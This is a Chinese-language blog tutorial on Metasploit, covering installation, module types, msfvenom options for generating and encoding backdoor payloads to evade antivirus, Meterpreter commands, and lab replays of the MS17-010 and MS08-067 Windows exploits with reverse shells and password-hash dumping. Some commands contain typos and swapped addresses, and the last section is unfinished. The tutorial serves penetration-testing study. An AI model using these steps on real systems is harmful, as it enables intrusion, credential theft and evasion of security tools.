1.Metasploit-介绍
Mltasploit框架使Metasploit具有良好的可扩展性,它的控制接口负责发现漏洞,攻击漏洞,提交漏洞,然后通过一些接口加入攻击后处理工具和报表工具。Metaspolit框架可以从一个漏洞扫描程序导入数据,使用关于有洞主机的详细信息来发现可攻击漏洞,然后使用有效载荷对系统发起攻击,有效载荷在发现漏洞之后开发一种可行的攻击方法。其用于提取本地系统密码,安装其他软件或控制硬件的模块,这些功能很像以前的BO2K等工具所具备的功能。
2.Ubuntu安装msf
环境准备:
vm虚拟机
Ubuntu桌面版镜像
打开终端 输入 sudo su 获取root权限
然后输入命令
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
然后赋755权限 并执行安装
chmod 755 msfinstall && ./msfinstall
3.kali更新源 cd /etc/apt ls
vi sources.list o 换行输入
esc -》wq保存
apt-get update //更新
apt-get install metaspolit-framework
4.msf目录结构
cd /usr/share/metaspolit-framework
ls
modules:目录里面存放渗透使用的 辅助模块 编码模块 利用模块 攻击载荷 后渗透模块
plugins: 这个模块需要用load加载,主要提供数据库连接插件 和 各种要用到的插件。
tools:包含一些有用的脚本和零散的工具。
scripts:目录里面存放都是meterpreter利用的脚本。
db:数据放在这个目录里
data:存放使用到的文件,比如密码字典、meterpreter、passivex、vnc、dlls等工具和一些用户接口代码,msfweb和一些其他模块用到的数据文件
lib:库文件都保存在这个目录里
5.msf核心模块和功能
cd /usr/share/metaspolit-farmework/modules 1 auxiliary:辅助模块,辅助渗透(端口扫描、登录密码爆破、漏洞验证等)
2 exploits:漏洞利用模块,包含主流的漏洞利用脚本,通常是对某些可能存在漏洞的目标进行漏洞利用。
3 payloads:攻击载荷,主要是攻击成功后在目标机器执行的代码,比如反弹shell的代码
4 post:后渗透阶段模块,漏洞利用成功获得meterpreter之后, 向目标发送的一些功能性
指令,如:提权等
5 encoders: 编码器模块,主要包含各种编码工具,对payload进行编码加密,以便绕过入侵检测和过滤系统
6 evasion:躲避模块,用来生成免杀payload
7 nops:这里主要放着调整shellcode 前置nop指令长度的工具(不理解没关系)
使用过程
1.对目标机器进行扫描,寻找可以利用的漏洞
2.选择并配置一个漏洞利用模块
3.选择并配置一个攻击载荷模块
4.选择一个编码技术,用来绕过杀软的查杀
5.进行渗透攻击
(msf更新 apt-get update -> apt-get install metasploit-franework)
6.msfvenom常用的参数
Kali中的 msfvenom 取代了msfpayload和msfencode,常用于生成后门木马
msfpayload是MSF攻击荷载生成器,用于生成shellcode和可执行代码。 msfencode是MSF编码器。
-l 列出指定模块的所有可用资源,模块类型包括: payloads, encoders, nops, all
-p 指定需要使用的payload(攻击荷载)。
-f 指定输出格式
Executable formats:Asp、aspx、aspx-exe、axis2、dll、elf、elf-so、exe、exe-only、exe-service、exe-smallhta-psh、jar、jsp、loop-vbs、macho、msi、msi-nouac、osx-app、psh、psh-cmd、psh-net、psh-reflection、python-reflection、vba、vba-exe、vba-psh、vbs、war;
Transform formats:base32、base64、bash、c、csharp、dw、dword、hex、java、js_be、js_le、num、perl、pl、powershell、ps1、py、python、raw、rb、ruby、sh、vbapplication、vbscript;
-e 指定需要使用的encoder(编码器)编码免杀。
-a 指定payload的目标架构
选择架构平台:x86 | x64 | x86_64 Platforms:windows, netware, android, java, ruby, linux, cisco, solaris, osx, bsd, openbsd, bsdi, netbsd, freebsd, aix, hpux, irix, unix, php, javascript, python, nodejs, firefox, mainframe
-o 保存payload文件输出。
-b 设定规避字符集,比如: '\x00\xff'避免使用的字符
-n 为payload预先指定一个NOP滑动长度
-s 设定有效攻击荷载的最大长度生成payload的最大长度,就是文件大小。
-i 指定payload的编码次数
-c 指定一个附加的win32 shellcode文件
-x 指定一个自定义的可执行文件作为模板 例如:原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面。
-k 保护模板程序的动作,注入的payload作为一个新的进程运行 例如:原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面。
-v 指定一个自定义的变量,以确定输出格式
7. Meterpreter是什么
Meterpreter是Metasploit框架中的一个利器,作为漏洞溢出后的攻击载荷使用,攻击载荷在触发漏洞后会返回一个由我们控制的通道,可用于远程执行命令! Metasploit提供了各个主流平台的Meterpreter版本,包括Windows、Linux,同时支持x86、x64平台,另外,Meterpreter还提供了基于PHP和Java语言的实现。Meterpreter的工作模式是纯内存的,好处是启动隐藏,很难被杀毒软件监测到。不需要访问目标主机磁盘,所以也没什么入侵的痕迹。除上述外,Meterpreter还支持Ruby脚本形式的扩展。所以Ruby语言还很有必要了解下。
1.基本命令
help# 查看Meterpreter帮助
background#返回,把meterpreter后台挂起 bgkill# 杀死一个 meterpreter 脚本 bglist#提供所有正在运行的后台脚本的列表 bgrun#作为一个后台线程运行脚本 channel#显示活动频道 sessions -i number # 与会话进行交互,number表示第n个session,使用session -i 连接到指定序号的meterpreter会话已继续利用 sesssions -k number #与会话进行交互 close# 关闭通道 exit# 终止 meterpreter 会话 quit# 终止 meterpreter 会话 interact id #切换进一个信道 run#执行一个已有的模块,这里要说的是输入run后按两下tab,会列出所有的已有的脚本,常用的有autoroute,hashdump,arp_scanner,multi_meter_inject等 irb# 进入 Ruby 脚本模式 read# 从通道读取数据write# 将数据写入到一个通道 run和bgrun# 前台和后台执行以后它选定的 meterpreter 脚本 use# 加载 meterpreter 的扩展 load/use#加载模块 Resource#执行一个已有的rc脚本
8.MS17-010漏洞复现
1.漏洞描述
Microsoft Windows SMB Server 远程代码执行漏洞
Microsoft Server Massage Block 1.0(SMBv1)服务器处理莫些请求时,在实现上存在远程代码执行漏洞,成功利用后可使攻击者在目标服务器上执行任意代码。如果攻击失败,hu会导致拒绝服务。对业务造成一定风险
2.复现过程
1.环境检查
攻击机:kali
ip:192.168.18.128
被攻击机:windows
ip:192.168.18.129
1.情报收集,查看目标是否存活
kali:ping 192.168.18.129
kali:nmap -T4 -A -v -Pn 192.168.18.129
kali: nmap -sV -Pn 192.168.18.129 //获取详细服务器版本信息
2.开始攻击
1.启动msf
msfconsole
2.查看漏洞
search ms17-010
3.选择攻击模块
user 0
4.配置攻击载荷
set payload windows/x64/meterpreter/reverse_tcp
5.设置被攻击机的ip
set rhosts 192.168.18.129
6.设置攻击者的ip
set lhost 192.168.18.128
7查看配置
show options
8.开始攻击
exploit/run (这2个命令都可以)
9.拿到meterpreter
命令 解释 background 将Meterpreter终端隐藏在后台 sessions 查看已经成功的会话 shell 获取系统的控制台shell quit 关闭当前的Meterpreter会话 pwd 获取目标机上当前的工作目录 cd 切换目录 ls 查看当前目录下的文件 upload 上传文件 cat 查看文件内容 edit 编辑文件 ifconfig/ipconfig 查看网卡信息 route 查看路由信息 sysinfo 查看系统信息 getuid 查看用户id ps 查看进程 getpid 查看当前进程 migrate 切换进程 execute 路径 执行文件 kill PID 终结指定的进程 shutdown 关机 screenshot 屏幕快照 10获取账号/密码 hashdump
至此ms17-010漏洞复现结束
9.MS08-067漏洞复现
1.环境配置
攻击机:kali
ip:192.168.18.128
被攻击机:windows
ip:192.168.18.129
msfconsole
2.情报收集
nmap -T4 -A -v -Pn 192.168.18.130
search ms08-067
use 0
set payload windows/meterpreter/reverse_tcp
set rhost 192.168.18.128
set lhost 192.168.18.130
set lpost 4444
shell
(因为博主硬盘无了还在购买路上,后渗透先欠着过几天补上呜呜呜)